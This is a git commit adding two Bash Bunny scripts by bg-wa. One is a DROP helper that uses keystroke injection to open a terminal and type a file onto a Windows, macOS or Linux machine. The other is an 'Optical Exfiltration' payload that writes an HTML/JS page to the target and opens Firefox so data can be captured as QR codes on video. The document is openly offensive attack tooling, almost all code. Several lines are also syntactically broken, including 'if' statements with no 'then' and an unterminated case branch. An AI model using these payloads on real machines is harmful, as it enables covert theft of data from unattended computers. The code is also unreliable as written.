Start of drop file

pull/318/head
bg-wa 2018-01-26 20:36:59 -08:00
parent b37aed0edc
commit 31ae33e78a
2 changed files with 122 additions and 0 deletions

View File

@ -0,0 +1,85 @@
#!/bin/bash
#
# DROP v1 by bg-wa
# Simplifies dropping files from HID attacks for various targets
# Usage: DROP [OS] [file to drop]
#
# Format:
# DROP [WIN OSX LINUX] bb_source_file.txt attack_destination_file.txt [overwrite]
# Example:
# DROP LINUX /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true
function DROP() {
local os=$1
local source=$2
local destination=$3
local overwrite=$4
echo "start" >> "/root/udisk/debug/drop1.txt"
[[ -z "$os" || -z "$source" || -z "$destination"]] && exit 1 # OS Source and Destination parameters must be set
case "$os" in
WIN)
QUACK GUI r
QUACK DELAY 500
QUACK STRING "$@"
QUACK ENTER
;;
OSX)
RUN terminal
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 1000
if $overwrite
QUACK STRING rm "$destination"
QUACK ENTER
QUACK DELAY 500
fi
QUACK STRING vi "$destination"
QUACK ENTER
QUACK DELAY 500
QUACK STRING i
LINUX)
echo "ok" >> "/root/udisk/debug/drop1.txt"
QUACK ALT F2
QUACK DELAY 500
QUACK STRING "$@"
QUACK DELAY 500
QUACK ENTER
quack 500
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 1000
if $overwrite
QUACK STRING rm "$destination"
QUACK ENTER
QUACK DELAY 500
fi
QUACK STRING vi "$destination"
QUACK ENTER
QUACK DELAY 500
QUACK STRING i
;;
*)
# OS parameter must be one of the above
exit 1
;;
esac
while IFS= read data
do
if [ "${data}" = " " ]
then
QUACK SPACE
else
QUACK STRING "$data"
fi
done < "$source"
QUACK ESC
QUACK STRING :x
QUACK ENTER
}
export -f DROP

View File

@ -0,0 +1,37 @@
#!/bin/bash
#
# Title: Optical Exfiltration
# Author: bg-wa
# Version: 1.0
# Category: HID
# Target: *NIX
# Attackmodes: HID
# Sources: Hak5 2320, https://github.com/bg-wa/QRExtractor
#
# Quick HID only attack to write an HTML/JS file to target machine
# and open a browser, to exfiltrate data Using QR Codes and a video
# recording device.
#
# | Attack Stage | Description |
# | ------------------- | ---------------------------------------- |
# | SETUP | Open vi |
# | ATTACK | Writing HTML |
# | FINISH | Browser Ready |
#
ATTACKMODE HID
LED SETUP
payload_dir=/root/udisk/payloads/$SWITCH_POSITION
source_html=$payload_dir/index.min.html
target_html=\~\/index.html
LED ATTACK
DROP LINUX $source_html $target_html
Q STRING firefox "$target_html"
Q ENTER
LED FINISH